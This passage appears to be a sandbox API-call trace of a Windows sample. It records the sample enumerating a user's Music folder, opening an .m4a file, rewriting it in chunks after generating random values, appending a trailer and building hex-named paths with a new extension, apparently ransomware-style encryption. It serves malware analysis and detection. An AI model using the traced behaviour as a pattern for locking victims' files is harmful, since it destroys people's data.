[0229.813] WriteFile (in: hFile=0x11f4, lpBuffer=0x4241b5c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x32f7fb00, lpOverlapped=0x0 | out: lpBuffer=0x4241b5c0*, lpNumberOfBytesWritten=0x32f7fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0233.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4241b5c0) returned 1 [0233.657] SetFilePointerEx (in: hFile=0x11f4, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.657] ReadFile (in: hFile=0x11f4, lpBuffer=0x424179b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x32f7fb00, lpOverlapped=0x0 | out: lpBuffer=0x424179b0*, lpNumberOfBytesRead=0x32f7fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0233.657] SetFilePointerEx (in: hFile=0x11f4, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0233.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0233.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ab20 [0233.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1ab20) returned 1 [0233.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4241b5c0 [0233.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ab20 [0233.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1aa60 [0233.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1aa60) returned 1 [0233.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0233.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0233.661] WriteFile (in: hFile=0x11f4, lpBuffer=0x4241b5c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x32f7fb00, lpOverlapped=0x0 | out: lpBuffer=0x4241b5c0*, lpNumberOfBytesWritten=0x32f7fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0233.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4241b5c0) returned 1 [0233.673] SetFilePointerEx (in: hFile=0x11f4, liDistanceToMove=0x104c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.673] ReadFile (in: hFile=0x11f4, lpBuffer=0x424179b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x32f7fb00, lpOverlapped=0x0 | out: lpBuffer=0x424179b0*, lpNumberOfBytesRead=0x32f7fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0233.673] SetFilePointerEx (in: hFile=0x11f4, liDistanceToMove=0x104c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0233.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0233.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1eb70 [0233.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1eb70) returned 1 [0233.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4241b5c0 [0233.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1eb70 [0233.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b540 [0233.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b540) returned 1 [0233.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0233.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0233.677] WriteFile (in: hFile=0x11f4, lpBuffer=0x4241b5c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x32f7fb00, lpOverlapped=0x0 | out: lpBuffer=0x4241b5c0*, lpNumberOfBytesWritten=0x32f7fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0233.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4241b5c0) returned 1 [0233.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4310e870 [0233.682] SetFilePointerEx (in: hFile=0x11f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.682] WriteFile (in: hFile=0x11f4, lpBuffer=0x133760*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x32f7fbb0, lpOverlapped=0x0 | out: lpBuffer=0x133760*, lpNumberOfBytesWritten=0x32f7fbb0*=0x154, lpOverlapped=0x0) returned 1 [0235.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0235.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262900 [0235.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262900) returned 1 [0235.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20262900 [0235.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202612b0 [0235.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622a0 [0235.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202622a0) returned 1 [0235.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0235.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1cd97800 [0235.707] sprintf (in: _Dest=0x1cd97800, _Format="%c%c" | out: _Dest="42") returned 2 [0235.707] sprintf (in: _Dest=0x1cd97802, _Format="%c%c" | out: _Dest="ef") returned 2 [0235.707] sprintf (in: _Dest=0x1cd97804, _Format="%c%c" | out: _Dest="db") returned 2 [0235.707] sprintf (in: _Dest=0x1cd97806, _Format="%c%c" | out: _Dest="b3") returned 2 [0235.708] sprintf (in: _Dest=0x1cd97808, _Format="%c%c" | out: _Dest="d9") returned 2 [0235.708] sprintf (in: _Dest=0x1cd9780a, _Format="%c%c" | out: _Dest="a8") returned 2 [0235.708] sprintf (in: _Dest=0x1cd9780c, _Format="%c%c" | out: _Dest="6a") returned 2 [0235.708] sprintf (in: _Dest=0x1cd9780e, _Format="%c%c" | out: _Dest="9e") returned 2 [0235.708] sprintf (in: _Dest=0x1cd97810, _Format="%c%c" | out: _Dest="ec") returned 2 [0235.708] sprintf (in: _Dest=0x1cd97812, _Format="%c%c" | out: _Dest="75") returned 2 [0235.708] sprintf (in: _Dest=0x1cd97814, _Format="%c%c" | out: _Dest="15") returned 2 [0235.708] sprintf (in: _Dest=0x1cd97816, _Format="%c%c" | out: _Dest="04") returned 2 [0235.708] sprintf (in: _Dest=0x1cd97818, _Format="%c%c" | out: _Dest="aa") returned 2 [0235.708] sprintf (in: _Dest=0x1cd9781a, _Format="%c%c" | out: _Dest="ad") returned 2 [0235.708] sprintf (in: _Dest=0x1cd9781c, _Format="%c%c" | out: _Dest="6e") returned 2 [0235.708] sprintf (in: _Dest=0x1cd9781e, _Format="%c%c" | out: _Dest="8b") returned 2 [0235.708] sprintf (in: _Dest=0x1cd97820, _Format="%c%c" | out: _Dest="25") returned 2 [0235.708] sprintf (in: _Dest=0x1cd97822, _Format="%c%c" | out: _Dest="5c") returned 2 [0235.708] sprintf (in: _Dest=0x1cd97824, _Format="%c%c" | out: _Dest="4f") returned 2 [0235.708] sprintf (in: _Dest=0x1cd97826, _Format="%c%c" | out: _Dest="c3") returned 2 [0235.708] sprintf (in: _Dest=0x1cd97828, _Format="%c%c" | out: _Dest="2d") returned 2 [0235.708] sprintf (in: _Dest=0x1cd9782a, _Format="%c%c" | out: _Dest="a2") returned 2 [0235.708] sprintf (in: _Dest=0x1cd9782c, _Format="%c%c" | out: _Dest="fb") returned 2 [0235.708] sprintf (in: _Dest=0x1cd9782e, _Format="%c%c" | out: _Dest="48") returned 2 [0235.708] sprintf (in: _Dest=0x1cd97830, _Format="%c%c" | out: _Dest="7c") returned 2 [0235.708] sprintf (in: _Dest=0x1cd97832, _Format="%c%c" | out: _Dest="67") returned 2 [0235.708] sprintf (in: _Dest=0x1cd97834, _Format="%c%c" | out: _Dest="f4") returned 2 [0235.708] sprintf (in: _Dest=0x1cd97836, _Format="%c%c" | out: _Dest="79") returned 2 [0235.708] sprintf (in: _Dest=0x1cd97838, _Format="%c%c" | out: _Dest="e2") returned 2 [0235.708] sprintf (in: _Dest=0x1cd9783a, _Format="%c%c" | out: _Dest="13") returned 2 [0235.708] sprintf (in: _Dest=0x1cd9783c, _Format="%c%c" | out: _Dest="bb") returned 2 [0235.709] sprintf (in: _Dest=0x1cd9783e, _Format="%c%c" | out: _Dest="36") returned 2 [0235.709] sprintf (in: _Dest=0x1cd97840, _Format="%c%c" | out: _Dest="55") returned 2 [0235.709] sprintf (in: _Dest=0x1cd97842, _Format="%c%c" | out: _Dest="b5") returned 2 [0235.709] RtlInitAnsiString (in: DestinationString=0x32f7fc28, SourceString="42efdbb3d9a86a9eec751504aaad6e8b255c4fc32da2fb487c67f479e213bb3655b5" | out: DestinationString="42efdbb3d9a86a9eec751504aaad6e8b255c4fc32da2fb487c67f479e213bb3655b5") [0235.709] RtlAnsiStringToUnicodeString (in: DestinationString=0x32f7fbf8, SourceString="42efdbb3d9a86a9eec751504aaad6e8b255c4fc32da2fb487c67f479e213bb3655b5", AllocateDestinationString=1 | out: DestinationString="42efdbb3d9a86a9eec751504aaad6e8b255c4fc32da2fb487c67f479e213bb3655b5") returned 0x0 [0235.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x43188200 [0235.710] wcscat (in: _Dest=0x4312c160, _Source="42efdbb3d9a86a9ee" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\42efdbb3d9a86a9ee") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\42efdbb3d9a86a9ee" [0235.710] wcscat (in: _Dest=0x4312c160, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\42efdbb3d9a86a9ee.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\42efdbb3d9a86a9ee.2f9b60" [0235.710] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\42efdbb3d9a86a9ee.2f9b60", NtPathName=0x32f7fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\42efdbb3d9a86a9ee.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x431165c0 Thread: id = 3861 os_tid = 0x1414 [0229.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad760 [0229.815] wcscpy (in: _Dest=0x202ad760, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64" [0229.815] wcscat (in: _Dest=0x202ad760, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\" [0229.815] wcscat (in: _Dest=0x202ad760, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\*" [0229.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61df0 [0229.815] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\*", lpFindFileData=0x1cd61df0 | out: lpFindFileData=0x1cd61df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c4cb0, ftCreationTime.dwHighDateTime=0x1d5dd9c, ftLastAccessTime.dwLowDateTime=0xf1df53f0, ftLastAccessTime.dwHighDateTime=0x1d5df15, ftLastWriteTime.dwLowDateTime=0xf1df53f0, ftLastWriteTime.dwHighDateTime=0x1d5df15, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5740 [0229.815] wcscmp (_String1=".", _String2=".") returned 0 [0229.815] FindNextFileW (in: hFindFile=0x1ced5740, lpFindFileData=0x1cd61df0 | out: lpFindFileData=0x1cd61df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c4cb0, ftCreationTime.dwHighDateTime=0x1d5dd9c, ftLastAccessTime.dwLowDateTime=0xf1df53f0, ftLastAccessTime.dwHighDateTime=0x1d5df15, ftLastWriteTime.dwLowDateTime=0xf1df53f0, ftLastWriteTime.dwHighDateTime=0x1d5df15, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.815] wcscmp (_String1="..", _String2=".") returned 1 [0229.815] wcscmp (_String1="..", _String2="..") returned 0 [0229.816] FindNextFileW (in: hFindFile=0x1ced5740, lpFindFileData=0x1cd61df0 | out: lpFindFileData=0x1cd61df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9074370, ftCreationTime.dwHighDateTime=0x1d5db0a, ftLastAccessTime.dwLowDateTime=0x3f9b7960, ftLastAccessTime.dwHighDateTime=0x1d5de63, ftLastWriteTime.dwLowDateTime=0x3f9b7960, ftLastWriteTime.dwHighDateTime=0x1d5de63, nFileSizeHigh=0x0, nFileSizeLow=0x8756, dwReserved0=0x0, dwReserved1=0x0, cFileName="30WBTm.m4a", cAlternateFileName="")) returned 1 [0229.816] wcscmp (_String1="30WBTm.m4a", _String2=".") returned 1 [0229.816] wcscmp (_String1="30WBTm.m4a", _String2="..") returned 1 [0229.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431ee3a0 [0229.816] wcscpy (in: _Dest=0x431ee3a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64" [0229.816] wcscat (in: _Dest=0x431ee3a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\" [0229.816] wcscat (in: _Dest=0x431ee3a0, _Source="30WBTm.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\30WBTm.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\30WBTm.m4a" [0229.816] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\30WBTm.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\uf ct10atni64\\30wbtm.m4a")) returned 0x20 [0229.816] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\30WBTm.m4a", dwFileAttributes=0x20) returned 1 [0229.817] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\uf cT10atNI64\\30WBTm.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\uf ct10atni64\\30wbtm.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1910 [0229.818] GetFileSizeEx (in: hFile=0x1910, lpFileSize=0x31b1fe20 | out: lpFileSize=0x31b1fe20*=34646) returned 1 [0229.818] SetFilePointerEx (in: hFile=0x1910, liDistanceToMove=0x8752, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.818] ReadFile (in: hFile=0x1910, lpBuffer=0x31b1fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x31b1fde8, lpOverlapped=0x0 | out: lpBuffer=0x31b1fda0*, lpNumberOfBytesRead=0x31b1fde8*=0x4, lpOverlapped=0x0) returned 1 [0229.819] SetFilePointerEx (in: hFile=0x1910, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260470 [0229.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263110 [0229.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f20 [0229.820] NtQuerySystemTime (in: CurrentTime=0x31b1fce0 | out: CurrentTime=0x31b1fce0*=132462178338202000) returned 0x0 [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x76ce7c8c [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x455f85b5 [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x38b74fc1 [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x311d3fd8 [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x3f12009d [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x23e20660 [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x54f4fe9f [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x62697c1d [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x55490229 [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x19f5e976 [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x6c6188a [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0xd4c92f [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x77f7464d [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x58c6db86 [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x6a015890 [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x422bd58d [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x5b570c87 [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x1dc1526c [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x46c0d52d [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x1ee75c58 [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0xcec31e0 [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x1098636c [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x7ec91719 [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x5786ea85 [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x1d8d759f [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x74a2696f [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x6f67051a [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x1ecc907 [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0xdc6a38f [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x417d5666 [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x7adec165 [0229.820] RtlRandomEx (in: Seed=0x31b1fcd0 | out: Seed=0x31b1fcd0) returned 0x235aeb72 [0229.830] SetFilePointerEx (in: hFile=0x1910, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.830] ReadFile (in: hFile=0x1910, lpBuffer=0x4241f1d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x31b1fd40, lpOverlapped=0x0 | out: lpBuffer=0x4241f1d0*, lpNumberOfBytesRead=0x31b1fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0229.831] SetFilePointerEx (in: hFile=0x1910, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0229.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f290 [0229.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260470 [0229.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260470) returned 1 [0229.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423f2110 [0229.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260470 [0229.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f20 [0229.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263f20) returned 1 [0229.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f290) returned 1 [0229.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0229.835] WriteFile (in: hFile=0x1910, lpBuffer=0x423f2110*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x31b1fd40, lpOverlapped=0x0 | out: lpBuffer=0x423f2110*, lpNumberOfBytesWritten=0x31b1fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0233.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423f2110) returned 1 [0233.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4241f1d0) returned 1 [0233.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x42c1ebd0 [0233.671] SetFilePointerEx (in: hFile=0x1910, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.671] WriteFile (in: hFile=0x1910, lpBuffer=0x16a080*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x31b1fdf0, lpOverlapped=0x0 | out: lpBuffer=0x16a080*, lpNumberOfBytesWritten=0x31b1fdf0*=0x106, lpOverlapped=0x0) returned 1 [0235.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61c40 [0235.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eda0 [0235.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eda0) returned 1 [0235.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0235.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eda0 [0235.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e170 [0235.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e170) returned 1 [0235.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61c40) returned 1 [0235.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f030 [0235.691] sprintf (in: _Dest=0x1cd9f030, _Format="%c%c" | out: _Dest="70") returned 2 [0235.691] sprintf (in: _Dest=0x1cd9f032, _Format="%c%c" | out: _Dest="a0") returned 2 [0235.691] sprintf (in: _Dest=0x1cd9f034, _Format="%c%c" | out: _Dest="73") returned 2 [0235.691] sprintf (in: _Dest=0x1cd9f036, _Format="%c%c" | out: _Dest="ac") returned 2 [0235.691] sprintf (in: _Dest=0x1cd9f038, _Format="%c%c" | out: _Dest="c0") returned 2 [0235.691] sprintf (in: _Dest=0x1cd9f03a, _Format="%c%c" | out: _Dest="96") returned 2 [0235.691] sprintf (in: _Dest=0x1cd9f03c, _Format="%c%c" | out: _Dest="f1") returned 2 [0235.691] sprintf (in: _Dest=0x1cd9f03e, _Format="%c%c" | out: _Dest="b8") returned 2 [0235.691] sprintf (in: _Dest=0x1cd9f040, _Format="%c%c" | out: _Dest="15") returned 2 [0235.692] sprintf (in: _Dest=0x1cd9f042, _Format="%c%c" | out: _Dest="25") returned 2 [0235.692] sprintf (in: _Dest=0x1cd9f044, _Format="%c%c" | out: _Dest="cb") returned 2 [0235.692] sprintf (in: _Dest=0x1cd9f046, _Format="%c%c" | out: _Dest="2b") returned 2 [0235.692] sprintf (in: _Dest=0x1cd9f048, _Format="%c%c" | out: _Dest="7a") returned 2 [0235.692] sprintf (in: _Dest=0x1cd9f04a, _Format="%c%c" | out: _Dest="0b") returned 2 [0235.692] sprintf (in: _Dest=0x1cd9f04c, _Format="%c%c" | out: _Dest="bc") returned 2 [0235.692] sprintf (in: _Dest=0x1cd9f04e, _Format="%c%c" | out: _Dest="05") returned 2 [0235.692] sprintf (in: _Dest=0x1cd9f050, _Format="%c%c" | out: _Dest="f0") returned 2 [0235.692] sprintf (in: _Dest=0x1cd9f052, _Format="%c%c" | out: 